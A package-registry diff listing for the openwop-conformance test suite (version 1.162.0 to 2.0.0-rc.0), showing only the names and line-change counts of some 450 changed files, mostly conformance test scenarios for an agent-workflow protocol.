@openwop/openwop-conformance 1.162.0 → 2.0.0-rc.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (553) hide show
  1. package/README.md +11 -2
  2. package/dist/cli.js +54 -1
  3. package/dist/lib/paths.js +25 -3
  4. package/dist/lib/requirement-ids.js +34 -4
  5. package/dist/lib/scenario-disposition.js +1 -0
  6. package/dist/lib/spec-coherence.js +13 -32
  7. package/dist/spec-artifacts.lock.json +5 -0
  8. package/package.json +11 -33
  9. package/requirements.json +20303 -11809
  10. package/scenario-majors.json +1343 -0
  11. package/schemas/CORPUS-STAMP.json +138 -6
  12. package/src/cli.ts +47 -1
  13. package/src/global-setup.ts +3 -2
  14. package/src/lib/corpus-stamp.ts +29 -1
  15. package/src/lib/paths.ts +25 -3
  16. package/src/lib/requirement-ids.ts +33 -4
  17. package/src/lib/scenario-disposition.ts +1 -0
  18. package/src/lib/spec-coherence.ts +15 -32
  19. package/src/scenarios/a2a-1-0-agent-card.test.ts +17 -16
  20. package/src/scenarios/a2a-1-0-task-roundtrip.test.ts +11 -10
  21. package/src/scenarios/a2a-card-runtime-consistency.test.ts +18 -17
  22. package/src/scenarios/a2a-peer-authority.test.ts +7 -6
  23. package/src/scenarios/a2a-task-roundtrip.test.ts +30 -29
  24. package/src/scenarios/a2a-version-negotiation.test.ts +16 -14
  25. package/src/scenarios/a2ui-surface-degrades.test.ts +5 -3
  26. package/src/scenarios/a2ui-surface-delta-transport.test.ts +35 -33
  27. package/src/scenarios/a2ui-surface-replay.test.ts +6 -4
  28. package/src/scenarios/a2ui-surface-shape.test.ts +11 -10
  29. package/src/scenarios/a2ui-surface-version-refusal.test.ts +6 -4
  30. package/src/scenarios/a2ui-untrusted-blocks-approval.test.ts +5 -3
  31. package/src/scenarios/agent-capability-degraded-projection.test.ts +12 -11
  32. package/src/scenarios/agent-channel-dispatch.test.ts +18 -16
  33. package/src/scenarios/agent-deployment-lifecycle.test.ts +20 -19
  34. package/src/scenarios/agent-deployment-shape.test.ts +22 -24
  35. package/src/scenarios/agent-eval-run.test.ts +19 -18
  36. package/src/scenarios/agent-eval-suite-shape.test.ts +20 -22
  37. package/src/scenarios/agent-live-allowlist-enforced.test.ts +6 -5
  38. package/src/scenarios/agent-live-invocation-bracket.test.ts +13 -12
  39. package/src/scenarios/agent-live-runtime-shape.test.ts +10 -12
  40. package/src/scenarios/agent-live-structured-output.test.ts +7 -6
  41. package/src/scenarios/agent-loop-iteration-monotonic.test.ts +3 -3
  42. package/src/scenarios/agent-loop-stateful-resume.test.ts +2 -2
  43. package/src/scenarios/agent-loop-version5-shape.test.ts +4 -4
  44. package/src/scenarios/agent-loop-workspace-snapshot.test.ts +3 -3
  45. package/src/scenarios/agent-manifest-role-profile.test.ts +9 -9
  46. package/src/scenarios/agent-manifest-runtime.test.ts +13 -12
  47. package/src/scenarios/agent-org-chart-scoping.test.ts +14 -13
  48. package/src/scenarios/agent-org-chart-shape.test.ts +11 -13
  49. package/src/scenarios/agent-platform-aggregate-evidence.test.ts +5 -4
  50. package/src/scenarios/agent-platform-profile.test.ts +18 -19
  51. package/src/scenarios/agent-requires-capabilities-shape.test.ts +4 -4
  52. package/src/scenarios/agent-roster-attribution.test.ts +18 -17
  53. package/src/scenarios/agent-roster-shape.test.ts +17 -19
  54. package/src/scenarios/agent-verifier-shape.test.ts +11 -11
  55. package/src/scenarios/agentConfidenceEscalation.test.ts +2 -1
  56. package/src/scenarios/agentMemoryCrossTenantIsolation.test.ts +6 -5
  57. package/src/scenarios/agentMemoryRedactionContract.test.ts +2 -1
  58. package/src/scenarios/agentMemoryRoundTrip.test.ts +2 -1
  59. package/src/scenarios/agentMemoryTtlExpiry.test.ts +4 -3
  60. package/src/scenarios/agentMessageReducer.test.ts +2 -1
  61. package/src/scenarios/agentMetadata.test.ts +2 -1
  62. package/src/scenarios/agentPackCatalog.test.ts +23 -21
  63. package/src/scenarios/agentPackExport.test.ts +4 -2
  64. package/src/scenarios/agentPackHandoffSchemaValidation.test.ts +5 -4
  65. package/src/scenarios/agentPackInstall.test.ts +4 -2
  66. package/src/scenarios/agentPackProvenance.test.ts +2 -1
  67. package/src/scenarios/agentReasoningEvents.test.ts +3 -2
  68. package/src/scenarios/agentReasoningStreaming.test.ts +11 -10
  69. package/src/scenarios/agents-run-tool-allowlist.test.ts +14 -12
  70. package/src/scenarios/ai-envelope-shape.test.ts +31 -29
  71. package/src/scenarios/aiEnvelope.capBreached.test.ts +26 -24
  72. package/src/scenarios/aiEnvelope.contractRefusal.test.ts +36 -34
  73. package/src/scenarios/aiEnvelope.correlationReplay.test.ts +17 -15
  74. package/src/scenarios/aiEnvelope.redaction.test.ts +22 -20
  75. package/src/scenarios/aiEnvelope.schemaDrift.test.ts +18 -16
  76. package/src/scenarios/aiEnvelope.trustBoundaryPropagation.test.ts +38 -36
  77. package/src/scenarios/aiEnvelope.universalKinds.test.ts +31 -29
  78. package/src/scenarios/aiproviders-input-shape.test.ts +5 -5
  79. package/src/scenarios/aiproviders-realtimevoice-shape.test.ts +14 -16
  80. package/src/scenarios/aiproviders-selfhosted-honesty.test.ts +6 -4
  81. package/src/scenarios/aiproviders-selfhosted-shape.test.ts +15 -17
  82. package/src/scenarios/aiproviders-speechsynth-shape.test.ts +6 -8
  83. package/src/scenarios/aiproviders-subscription-scope.test.ts +7 -8
  84. package/src/scenarios/anonymous-actor-audit-opaque.test.ts +9 -8
  85. package/src/scenarios/anonymous-actor-default-deny.test.ts +10 -9
  86. package/src/scenarios/anonymous-actor-egress-guarded.test.ts +6 -5
  87. package/src/scenarios/anonymous-actor-no-secret-reach.test.ts +7 -6
  88. package/src/scenarios/anonymous-actor-shape.test.ts +17 -19
  89. package/src/scenarios/anonymous-actor-write-gated.test.ts +9 -8
  90. package/src/scenarios/append-ordering.test.ts +7 -5
  91. package/src/scenarios/approval-gate-events.test.ts +4 -3
  92. package/src/scenarios/approval-gate-flow.test.ts +4 -3
  93. package/src/scenarios/approval-payload.test.ts +5 -4
  94. package/src/scenarios/artifact-auth.test.ts +7 -6
  95. package/src/scenarios/artifact-type-pack-install.test.ts +6 -6
  96. package/src/scenarios/artifact-type-pack-manifest-validation.test.ts +9 -8
  97. package/src/scenarios/artifact-type-registration-source.test.ts +20 -20
  98. package/src/scenarios/artifact-type-store-emission.test.ts +15 -18
  99. package/src/scenarios/artifact-type-store-without-render.test.ts +4 -4
  100. package/src/scenarios/audit-log-integrity.test.ts +8 -6
  101. package/src/scenarios/auth-api-key-rotation.test.ts +11 -9
  102. package/src/scenarios/auth-mtls.test.ts +22 -20
  103. package/src/scenarios/auth-oauth2-client-credentials.test.ts +16 -14
  104. package/src/scenarios/auth-oidc-user-bearer.test.ts +26 -24
  105. package/src/scenarios/auth-saml-profile.test.ts +14 -12
  106. package/src/scenarios/auth-scim-profile.test.ts +3 -2
  107. package/src/scenarios/auth-subject-link-key-class.test.ts +8 -7
  108. package/src/scenarios/auth-subject-link.test.ts +11 -10
  109. package/src/scenarios/auth.test.ts +5 -4
  110. package/src/scenarios/authorization-fail-closed.test.ts +3 -2
  111. package/src/scenarios/authorization-roles-shape.test.ts +9 -7
  112. package/src/scenarios/blob-cross-tenant-isolation.test.ts +8 -6
  113. package/src/scenarios/blob-presign-expiry.test.ts +12 -10
  114. package/src/scenarios/blob-roundtrip.test.ts +0 -0
  115. package/src/scenarios/budget-enforcement.test.ts +15 -14
  116. package/src/scenarios/budget-policy-shape.test.ts +18 -19
  117. package/src/scenarios/bulk-cancel.test.ts +9 -8
  118. package/src/scenarios/byok-auth-modes.test.ts +13 -14
  119. package/src/scenarios/byok-roundtrip.test.ts +12 -10
  120. package/src/scenarios/cache-cross-tenant-isolation.test.ts +8 -6
  121. package/src/scenarios/cache-ttl-expiry.test.ts +7 -5
  122. package/src/scenarios/callai-multimodal.test.ts +5 -3
  123. package/src/scenarios/cancellation.test.ts +6 -5
  124. package/src/scenarios/cap-breach.test.ts +15 -14
  125. package/src/scenarios/capability-arm-witness.test.ts +5 -3
  126. package/src/scenarios/certification-bundle-non-vacuous.test.ts +20 -19
  127. package/src/scenarios/certification-bundle-redaction.test.ts +11 -10
  128. package/src/scenarios/certification-bundle-v2.test.ts +11 -10
  129. package/src/scenarios/chain-compensation-expansion.test.ts +14 -13
  130. package/src/scenarios/chain-produced-var-roundtrip.test.ts +13 -14
  131. package/src/scenarios/chain-subchain-cycle-rejected.test.ts +9 -10
  132. package/src/scenarios/chain-subchain-fanout.test.ts +8 -9
  133. package/src/scenarios/chain-subchain-sibling.test.ts +14 -16
  134. package/src/scenarios/channel-presence-behavioral.test.ts +9 -7
  135. package/src/scenarios/channel-presence-shape.test.ts +11 -12
  136. package/src/scenarios/channel-ttl.test.ts +6 -5
  137. package/src/scenarios/chat-card-pack-execution.test.ts +4 -4
  138. package/src/scenarios/chat-card-pack-manifest-validation.test.ts +9 -8
  139. package/src/scenarios/commitment-fired.test.ts +6 -5
  140. package/src/scenarios/compensation-behavior.test.ts +24 -23
  141. package/src/scenarios/compensation-recovery.test.ts +28 -27
  142. package/src/scenarios/configurable-schema.test.ts +8 -6
  143. package/src/scenarios/conformance-advertised-seam-required.test.ts +6 -5
  144. package/src/scenarios/conformance-execution-witness.test.ts +9 -8
  145. package/src/scenarios/connection-pack-apihosts.test.ts +19 -17
  146. package/src/scenarios/connection-pack-manifest-valid.test.ts +12 -11
  147. package/src/scenarios/connection-pack-no-credential-material.test.ts +8 -6
  148. package/src/scenarios/connection-pack-reach-exclusive.test.ts +5 -4
  149. package/src/scenarios/connection-pack-write-reconsent.test.ts +6 -4
  150. package/src/scenarios/connection-provider-resolution.test.ts +18 -16
  151. package/src/scenarios/connector-manifest-validity.test.ts +8 -7
  152. package/src/scenarios/context-budget-transcript-bound.test.ts +17 -15
  153. package/src/scenarios/context-summarization-replay.test.ts +14 -12
  154. package/src/scenarios/contract-provenance.test.ts +18 -18
  155. package/src/scenarios/conversation-turn-model-provenance-shape.test.ts +14 -15
  156. package/src/scenarios/conversationCapabilityNegotiation.test.ts +2 -1
  157. package/src/scenarios/conversationLifecycle.test.ts +2 -1
  158. package/src/scenarios/conversationReplayDeterminism.test.ts +4 -2
  159. package/src/scenarios/conversationVsLegacySuspend.test.ts +2 -1
  160. package/src/scenarios/core-standard-profile.test.ts +8 -9
  161. package/src/scenarios/cost-attribution.test.ts +23 -21
  162. package/src/scenarios/credential-payload-redaction.test.ts +4 -3
  163. package/src/scenarios/credentials-capability-shape.test.ts +5 -4
  164. package/src/scenarios/cross-engine-append-behavior.test.ts +11 -10
  165. package/src/scenarios/cross-engine-append-ordering.test.ts +4 -3
  166. package/src/scenarios/cross-host-ancestry-endpoint.test.ts +11 -10
  167. package/src/scenarios/cross-host-causation-shape.test.ts +7 -6
  168. package/src/scenarios/cross-workspace-isolation.test.ts +4 -3
  169. package/src/scenarios/data-residency-admission.test.ts +15 -14
  170. package/src/scenarios/deadletter-capability-shape.test.ts +6 -4
  171. package/src/scenarios/deadletter-retry-exhaustion.test.ts +4 -3
  172. package/src/scenarios/debug-bundle-truncation.test.ts +9 -7
  173. package/src/scenarios/debugBundle.test.ts +25 -23
  174. package/src/scenarios/discovery-families-view.test.ts +5 -4
  175. package/src/scenarios/discovery.test.ts +30 -29
  176. package/src/scenarios/dispatch-cross-worker-handoff.test.ts +10 -8
  177. package/src/scenarios/dispatch-fanout-parallel.test.ts +24 -22
  178. package/src/scenarios/dispatch-input-mapping.test.ts +12 -10
  179. package/src/scenarios/dispatch-output-mapping.test.ts +9 -7
  180. package/src/scenarios/dispatch-per-item-input.test.ts +22 -20
  181. package/src/scenarios/dispatchLoop.test.ts +3 -2
  182. package/src/scenarios/distillation-index-roundtrip.test.ts +3 -3
  183. package/src/scenarios/distillation-secret-carryforward.test.ts +2 -2
  184. package/src/scenarios/distillation-shape.test.ts +4 -4
  185. package/src/scenarios/distillation-stable-archive.test.ts +6 -6
  186. package/src/scenarios/distillation-token-budget.test.ts +5 -5
  187. package/src/scenarios/durability-poison-exhaustion.test.ts +7 -6
  188. package/src/scenarios/egress-audience-binding.test.ts +11 -10
  189. package/src/scenarios/egress-decision-content-free.test.ts +6 -5
  190. package/src/scenarios/egress-provenance-shape.test.ts +17 -18
  191. package/src/scenarios/envelope-completion-distinguishes-truncation.test.ts +27 -25
  192. package/src/scenarios/envelope-nl-to-format-engaged.test.ts +19 -17
  193. package/src/scenarios/envelope-reasoning-secret-redaction.test.ts +28 -26
  194. package/src/scenarios/envelope-reasoning-shape.test.ts +19 -17
  195. package/src/scenarios/envelope-recovery-applied.test.ts +24 -22
  196. package/src/scenarios/envelope-refusal-shape.test.ts +31 -29
  197. package/src/scenarios/envelope-rendering-hint.test.ts +5 -4
  198. package/src/scenarios/envelope-retry-attempted.test.ts +33 -31
  199. package/src/scenarios/envelope-retry-exhausted.test.ts +22 -20
  200. package/src/scenarios/envelope-tier-one-subset-static.test.ts +9 -7
  201. package/src/scenarios/envelope-truncated.test.ts +19 -17
  202. package/src/scenarios/envelope-truncation-cap-exhaustion.test.ts +19 -17
  203. package/src/scenarios/envelope-variant-discriminator-static.test.ts +4 -3
  204. package/src/scenarios/errors.test.ts +20 -19
  205. package/src/scenarios/eventOrdering.test.ts +16 -14
  206. package/src/scenarios/exec-not-protocol-tier.test.ts +5 -7
  207. package/src/scenarios/experimental-tier-shape.test.ts +17 -15
  208. package/src/scenarios/export-bundle-portability.test.ts +17 -17
  209. package/src/scenarios/failure-path.test.ts +7 -6
  210. package/src/scenarios/feedback-capability-shape.test.ts +4 -3
  211. package/src/scenarios/feedback-correction-redaction.test.ts +2 -1
  212. package/src/scenarios/feedback-cross-tenant-isolation.test.ts +2 -1
  213. package/src/scenarios/feedback-fork-not-copied.test.ts +3 -2
  214. package/src/scenarios/feedback-on-terminal-run.test.ts +3 -2
  215. package/src/scenarios/feedback-record-and-list.test.ts +2 -1
  216. package/src/scenarios/feedback-unsupported-501.test.ts +2 -1
  217. package/src/scenarios/fixtures-gating.test.ts +29 -28
  218. package/src/scenarios/fixtures-valid.test.ts +16 -15
  219. package/src/scenarios/form-content-instantiation.test.ts +15 -14
  220. package/src/scenarios/frontend-plugin-packs.test.ts +29 -27
  221. package/src/scenarios/fs-path-traversal.test.ts +14 -12
  222. package/src/scenarios/goal-standing-continuation.test.ts +21 -21
  223. package/src/scenarios/grpc-transport.test.ts +9 -7
  224. package/src/scenarios/heartbeat-capability-shape.test.ts +3 -3
  225. package/src/scenarios/heartbeat-fires-once-per-tick.test.ts +2 -2
  226. package/src/scenarios/heartbeat-idempotent-no-spam.test.ts +3 -3
  227. package/src/scenarios/heartbeat-runtime-bound.test.ts +2 -2
  228. package/src/scenarios/highConcurrency.test.ts +14 -13
  229. package/src/scenarios/host-callback-declaration.test.ts +8 -7
  230. package/src/scenarios/http-client-ssrf.test.ts +7 -5
  231. package/src/scenarios/i18n-negotiation.test.ts +14 -12
  232. package/src/scenarios/idempotency-concurrent-claim.test.ts +14 -13
  233. package/src/scenarios/idempotency-key-determinism.test.ts +20 -18
  234. package/src/scenarios/idempotency.test.ts +8 -7
  235. package/src/scenarios/idempotencyRetry.test.ts +13 -11
  236. package/src/scenarios/identity-owner-shape.test.ts +6 -5
  237. package/src/scenarios/identity-passthrough.test.ts +4 -3
  238. package/src/scenarios/interrupt-approval.test.ts +6 -5
  239. package/src/scenarios/interrupt-approver-routing.test.ts +15 -15
  240. package/src/scenarios/interrupt-auth-required-resume.test.ts +5 -3
  241. package/src/scenarios/interrupt-clarification.test.ts +4 -3
  242. package/src/scenarios/interrupt-external-event-correlation.test.ts +6 -5
  243. package/src/scenarios/interrupt-parent-child-cascade.test.ts +4 -3
  244. package/src/scenarios/interrupt-quorum-resolution.test.ts +5 -4
  245. package/src/scenarios/interrupt-token-matrix.test.ts +8 -6
  246. package/src/scenarios/interruptRace.test.ts +12 -10
  247. package/src/scenarios/kv-atomic-increment.test.ts +11 -9
  248. package/src/scenarios/kv-cas.test.ts +14 -12
  249. package/src/scenarios/kv-cross-tenant-isolation.test.ts +12 -10
  250. package/src/scenarios/kv-ttl-expiry.test.ts +7 -5
  251. package/src/scenarios/localized-content-delivery.test.ts +24 -26
  252. package/src/scenarios/maliciousManifest.test.ts +10 -8
  253. package/src/scenarios/mcp-2026-07-28-discover.test.ts +15 -14
  254. package/src/scenarios/mcp-cache-tenant-scope.test.ts +6 -5
  255. package/src/scenarios/mcp-current-auth-boundary.test.ts +7 -6
  256. package/src/scenarios/mcp-discoverability.test.ts +9 -7
  257. package/src/scenarios/mcp-extension-opacity.test.ts +7 -6
  258. package/src/scenarios/mcp-mrtr-roundtrip.test.ts +18 -17
  259. package/src/scenarios/mcp-server-elicitation-bridge.test.ts +13 -12
  260. package/src/scenarios/mcp-server-prompt-roundtrip.test.ts +11 -10
  261. package/src/scenarios/mcp-server-resource-roundtrip.test.ts +11 -10
  262. package/src/scenarios/mcp-server-sampling-bridge.test.ts +12 -11
  263. package/src/scenarios/mcp-server-tool-roundtrip.test.ts +14 -13
  264. package/src/scenarios/mcp-server-untrusted-args.test.ts +14 -13
  265. package/src/scenarios/mcp-stateless-request.test.ts +11 -10
  266. package/src/scenarios/mcp-tool-roundtrip.test.ts +4 -3
  267. package/src/scenarios/mcp-toolcall-redaction.test.ts +4 -3
  268. package/src/scenarios/mcp-version-negotiation.test.ts +15 -14
  269. package/src/scenarios/media-url-inline-cap.test.ts +21 -19
  270. package/src/scenarios/memory-attribution-emits-on-write.test.ts +5 -5
  271. package/src/scenarios/memory-attribution-no-content.test.ts +4 -4
  272. package/src/scenarios/memory-attribution-replay-stable.test.ts +4 -3
  273. package/src/scenarios/memory-attribution-shape.test.ts +4 -3
  274. package/src/scenarios/memory-attribution-tenant-scoped.test.ts +3 -3
  275. package/src/scenarios/memory-capability-model-shape.test.ts +14 -15
  276. package/src/scenarios/memory-compaction-event-emitted.test.ts +7 -6
  277. package/src/scenarios/memory-compaction-provenance-tag.test.ts +3 -2
  278. package/src/scenarios/memory-compaction-sr1-carry-forward.test.ts +7 -6
  279. package/src/scenarios/memory-consolidation-idempotent.test.ts +5 -4
  280. package/src/scenarios/memory-consolidation-shape.test.ts +9 -11
  281. package/src/scenarios/memory-degraded-projection.test.ts +10 -9
  282. package/src/scenarios/memory-injection-budget.test.ts +15 -14
  283. package/src/scenarios/metric-emission.test.ts +4 -3
  284. package/src/scenarios/model-capability-insufficient.test.ts +19 -17
  285. package/src/scenarios/model-capability-substituted.test.ts +20 -18
  286. package/src/scenarios/multi-agent-confidence-escalation.test.ts +12 -11
  287. package/src/scenarios/multi-agent-handoff-state-machine.test.ts +10 -9
  288. package/src/scenarios/multi-agent-memory-lifecycle.test.ts +11 -10
  289. package/src/scenarios/multi-node-ordering.test.ts +4 -3
  290. package/src/scenarios/multi-party-conversation-behavioral.test.ts +6 -6
  291. package/src/scenarios/multi-party-conversation-shape.test.ts +21 -23
  292. package/src/scenarios/multi-region-idempotency-behavior.test.ts +16 -15
  293. package/src/scenarios/multi-region-idempotency.test.ts +6 -5
  294. package/src/scenarios/node-failed-payload-shape.test.ts +5 -4
  295. package/src/scenarios/node-module-required-capabilities-shape.test.ts +10 -8
  296. package/src/scenarios/oauth-authorization-code-roundtrip.test.ts +5 -4
  297. package/src/scenarios/oauth-capability-shape.test.ts +5 -4
  298. package/src/scenarios/oauth-connector-redaction.test.ts +4 -3
  299. package/src/scenarios/openapi-resolved-paths.test.ts +6 -5
  300. package/src/scenarios/orchestratorConservativePath.test.ts +2 -1
  301. package/src/scenarios/orchestratorDispatch.test.ts +2 -1
  302. package/src/scenarios/orchestratorTermination.test.ts +2 -1
  303. package/src/scenarios/org-position-no-authority-escalation.test.ts +2 -2
  304. package/src/scenarios/otel-collector-canary-inspection.test.ts +8 -7
  305. package/src/scenarios/otel-emission-grpc.test.ts +3 -2
  306. package/src/scenarios/otel-emission.test.ts +6 -5
  307. package/src/scenarios/otel-trace-propagation-subworkflow.test.ts +7 -6
  308. package/src/scenarios/otel-trace-propagation.test.ts +2 -1
  309. package/src/scenarios/owner-subject-echo.test.ts +13 -12
  310. package/src/scenarios/owner-subject-shape.test.ts +11 -10
  311. package/src/scenarios/pack-manifest-extension-opacity.test.ts +8 -8
  312. package/src/scenarios/pack-registry-isolation.test.ts +4 -3
  313. package/src/scenarios/pack-registry-publish.test.ts +65 -63
  314. package/src/scenarios/pack-registry.test.ts +38 -36
  315. package/src/scenarios/pause-resume.test.ts +18 -16
  316. package/src/scenarios/policies.test.ts +20 -18
  317. package/src/scenarios/production-backpressure.test.ts +18 -16
  318. package/src/scenarios/production-retention-expiry.test.ts +8 -6
  319. package/src/scenarios/profile-discovery-core-alias.test.ts +13 -11
  320. package/src/scenarios/profileDerivation.test.ts +34 -33
  321. package/src/scenarios/prompt-all-four-kinds-events.test.ts +11 -9
  322. package/src/scenarios/prompt-composed-secret-redaction.test.ts +11 -9
  323. package/src/scenarios/prompt-composed-trust-marker.test.ts +10 -8
  324. package/src/scenarios/prompt-end-to-end-events.test.ts +17 -15
  325. package/src/scenarios/prompt-list-and-fetch.test.ts +16 -14
  326. package/src/scenarios/prompt-mutable-lifecycle.test.ts +13 -11
  327. package/src/scenarios/prompt-mutation-workspace-membership-enforced.test.ts +6 -4
  328. package/src/scenarios/prompt-pack-install.test.ts +14 -12
  329. package/src/scenarios/prompt-prefix-cache.test.ts +19 -17
  330. package/src/scenarios/prompt-read-workspace-membership-enforced.test.ts +11 -9
  331. package/src/scenarios/prompt-render-deterministic.test.ts +19 -17
  332. package/src/scenarios/prompt-resolution-chain-agent-intrinsic.test.ts +7 -5
  333. package/src/scenarios/prompt-resolution-chain-event.test.ts +12 -10
  334. package/src/scenarios/prompt-resolution-chain-fallback-cascade.test.ts +10 -8
  335. package/src/scenarios/prompt-resolution-chain-node-wins.test.ts +8 -6
  336. package/src/scenarios/prompt-template-shape.test.ts +30 -28
  337. package/src/scenarios/proposal-reviewable-learning.test.ts +19 -19
  338. package/src/scenarios/protocol-versions-array.test.ts +10 -9
  339. package/src/scenarios/provider-usage.test.ts +17 -15
  340. package/src/scenarios/providerPolicyEnforcement.test.ts +16 -14
  341. package/src/scenarios/purpose-propagation.test.ts +23 -21
  342. package/src/scenarios/queue-ack-nack-dlq.test.ts +12 -10
  343. package/src/scenarios/queue-cross-tenant-isolation.test.ts +8 -6
  344. package/src/scenarios/queue-publish-consume-roundtrip.test.ts +10 -8
  345. package/src/scenarios/rate-limit-envelope.test.ts +6 -5
  346. package/src/scenarios/redaction.test.ts +13 -11
  347. package/src/scenarios/redactionAdversarial.test.ts +11 -9
  348. package/src/scenarios/registry-public.test.ts +12 -11
  349. package/src/scenarios/replay-divergence-at-refusal.test.ts +16 -15
  350. package/src/scenarios/replay-fanout-suppression.test.ts +16 -15
  351. package/src/scenarios/replay-fork-arbitrary.test.ts +24 -23
  352. package/src/scenarios/replay-fork.test.ts +20 -19
  353. package/src/scenarios/replay-llm-cache-key-portable.test.ts +11 -9
  354. package/src/scenarios/replay-llm-cache-key.test.ts +22 -21
  355. package/src/scenarios/replay-observable-sequence-determinism.test.ts +4 -3
  356. package/src/scenarios/replay-retention-expiry.test.ts +11 -9
  357. package/src/scenarios/replay-side-effect-suppression.test.ts +21 -19
  358. package/src/scenarios/replayDeterminism.test.ts +13 -12
  359. package/src/scenarios/requirement-ledger.test.ts +15 -14
  360. package/src/scenarios/restart-during-run.test.ts +3 -2
  361. package/src/scenarios/route-coverage.test.ts +20 -19
  362. package/src/scenarios/run-diff.test.ts +22 -20
  363. package/src/scenarios/run-execution-bounds-shape.test.ts +14 -12
  364. package/src/scenarios/run-transport-economy.test.ts +13 -11
  365. package/src/scenarios/runner-ledger.test.ts +17 -16
  366. package/src/scenarios/runs-lifecycle.test.ts +7 -6
  367. package/src/scenarios/runtime-capabilities.test.ts +12 -10
  368. package/src/scenarios/runtime-requires-install-gate.test.ts +8 -8
  369. package/src/scenarios/runtime-requires-shape.test.ts +7 -6
  370. package/src/scenarios/safefetch-behavior.test.ts +22 -21
  371. package/src/scenarios/safefetch-live-audit.test.ts +14 -13
  372. package/src/scenarios/sandbox-memory-cap.test.ts +2 -1
  373. package/src/scenarios/sandbox-mvp-behavior.test.ts +24 -23
  374. package/src/scenarios/sandbox-no-host-fs-escape.test.ts +3 -2
  375. package/src/scenarios/sandbox-timeout-cap.test.ts +2 -1
  376. package/src/scenarios/sandbox-wasm-isolation.test.ts +14 -15
  377. package/src/scenarios/sandbox-wasm-timeout.test.ts +5 -6
  378. package/src/scenarios/scheduling-capability-shape.test.ts +8 -6
  379. package/src/scenarios/scheduling-cron-fires-once.test.ts +8 -6
  380. package/src/scenarios/search-bm25-roundtrip.test.ts +8 -6
  381. package/src/scenarios/secret-leakage-otel-attribute.test.ts +22 -20
  382. package/src/scenarios/self-hosted-runner.test.ts +26 -24
  383. package/src/scenarios/semantic-digest-vectors.test.ts +8 -7
  384. package/src/scenarios/speech-synthesis-roundtrip.test.ts +9 -7
  385. package/src/scenarios/speech-synthesis-unadvertised.test.ts +5 -3
  386. package/src/scenarios/sql-injection-rejection.test.ts +8 -6
  387. package/src/scenarios/sql-transaction-atomicity.test.ts +10 -8
  388. package/src/scenarios/staleClaim.test.ts +5 -4
  389. package/src/scenarios/stream-modes-buffer.test.ts +8 -7
  390. package/src/scenarios/stream-modes-mixed.test.ts +10 -9
  391. package/src/scenarios/stream-modes.test.ts +12 -11
  392. package/src/scenarios/stream-subscribe-from-beginning.test.ts +11 -9
  393. package/src/scenarios/stream-text-fixture.test.ts +14 -13
  394. package/src/scenarios/streamReconnect.test.ts +13 -11
  395. package/src/scenarios/strict-behavior-gate.test.ts +9 -8
  396. package/src/scenarios/subrun-approval-fail-closed.test.ts +2 -2
  397. package/src/scenarios/subrun-approval-gate.test.ts +3 -3
  398. package/src/scenarios/subrun-attestation-shape.test.ts +2 -2
  399. package/src/scenarios/subrun-checksum-stable.test.ts +4 -4
  400. package/src/scenarios/subworkflow-input-mapping.test.ts +16 -14
  401. package/src/scenarios/subworkflow.test.ts +10 -9
  402. package/src/scenarios/table-cross-tenant-isolation.test.ts +8 -6
  403. package/src/scenarios/table-cursor-pagination.test.ts +8 -6
  404. package/src/scenarios/table-schema-enforcement.test.ts +7 -5
  405. package/src/scenarios/test-seam-unauthenticated.test.ts +2 -2
  406. package/src/scenarios/tool-catalog-compact-projection.test.ts +10 -8
  407. package/src/scenarios/tool-catalog-projection.test.ts +11 -9
  408. package/src/scenarios/tool-descriptor-shape.test.ts +14 -15
  409. package/src/scenarios/tool-hooks-authorization-fail-closed.test.ts +3 -3
  410. package/src/scenarios/tool-hooks-content-free.test.ts +4 -4
  411. package/src/scenarios/tool-hooks-failure-honesty.test.ts +4 -4
  412. package/src/scenarios/tool-hooks-rate-limit.test.ts +2 -2
  413. package/src/scenarios/tool-hooks-secret-redaction.test.ts +2 -2
  414. package/src/scenarios/tool-hooks-shape.test.ts +3 -3
  415. package/src/scenarios/tool-session-lifecycle.test.ts +14 -13
  416. package/src/scenarios/trigger-bridge-delivery.test.ts +14 -14
  417. package/src/scenarios/trigger-bridge-shape.test.ts +19 -20
  418. package/src/scenarios/trigger-ingestion.test.ts +19 -17
  419. package/src/scenarios/trigger-stream-cdc-sources.test.ts +16 -14
  420. package/src/scenarios/vector-knn-roundtrip.test.ts +9 -7
  421. package/src/scenarios/verifier-gating.test.ts +8 -6
  422. package/src/scenarios/version-fold.test.ts +9 -8
  423. package/src/scenarios/version-negotiation.test.ts +12 -11
  424. package/src/scenarios/voice-bargein-no-partial-leak.test.ts +8 -6
  425. package/src/scenarios/voice-event-payloads-shape.test.ts +10 -11
  426. package/src/scenarios/voice-interim-not-durable.test.ts +7 -5
  427. package/src/scenarios/voice-streamref-tenant-bound.test.ts +5 -3
  428. package/src/scenarios/voice-synthesis-streaming.test.ts +11 -9
  429. package/src/scenarios/voice-transcription-streaming.test.ts +8 -6
  430. package/src/scenarios/voice-transcription-unadvertised.test.ts +5 -3
  431. package/src/scenarios/wasm-pack-abi-version-rejection.test.ts +3 -2
  432. package/src/scenarios/wasm-pack-invoke-completed.test.ts +3 -2
  433. package/src/scenarios/wasm-pack-invoke-suspended.test.ts +3 -2
  434. package/src/scenarios/wasm-pack-load.test.ts +4 -3
  435. package/src/scenarios/wasm-pack-memory-cap.test.ts +5 -4
  436. package/src/scenarios/wasm-pack-replay-determinism.test.ts +2 -1
  437. package/src/scenarios/webhook-negative.test.ts +11 -9
  438. package/src/scenarios/webhook-receiver-adversarial.test.ts +8 -7
  439. package/src/scenarios/webhook-sig-algorithm.test.ts +5 -3
  440. package/src/scenarios/webhook-signed-delivery.test.ts +16 -15
  441. package/src/scenarios/webhook-tenant-isolation.test.ts +16 -14
  442. package/src/scenarios/workflow-chain-deferred-parameters.test.ts +28 -30
  443. package/src/scenarios/workflow-chain-expansion.test.ts +21 -20
  444. package/src/scenarios/workflow-chain-host-expansion.test.ts +21 -20
  445. package/src/scenarios/workflow-chain-pack-manifest-validation.test.ts +14 -12
  446. package/src/scenarios/workflow-chain-pack-signature-verification.test.ts +5 -4
  447. package/src/scenarios/workflow-chain-unresolvable-typeid.test.ts +9 -8
  448. package/src/scenarios/workflow-primary-output-annotation.test.ts +7 -6
  449. package/src/scenarios/workflow-variable-format.test.ts +24 -24
  450. package/src/scenarios/workload-identity-behavior.test.ts +15 -13
  451. package/src/scenarios/workload-identity-chain-bounds.test.ts +18 -17
  452. package/src/scenarios/workspace-behavior.test.ts +19 -18
  453. package/src/scenarios/workspace-capability-shape.test.ts +3 -2
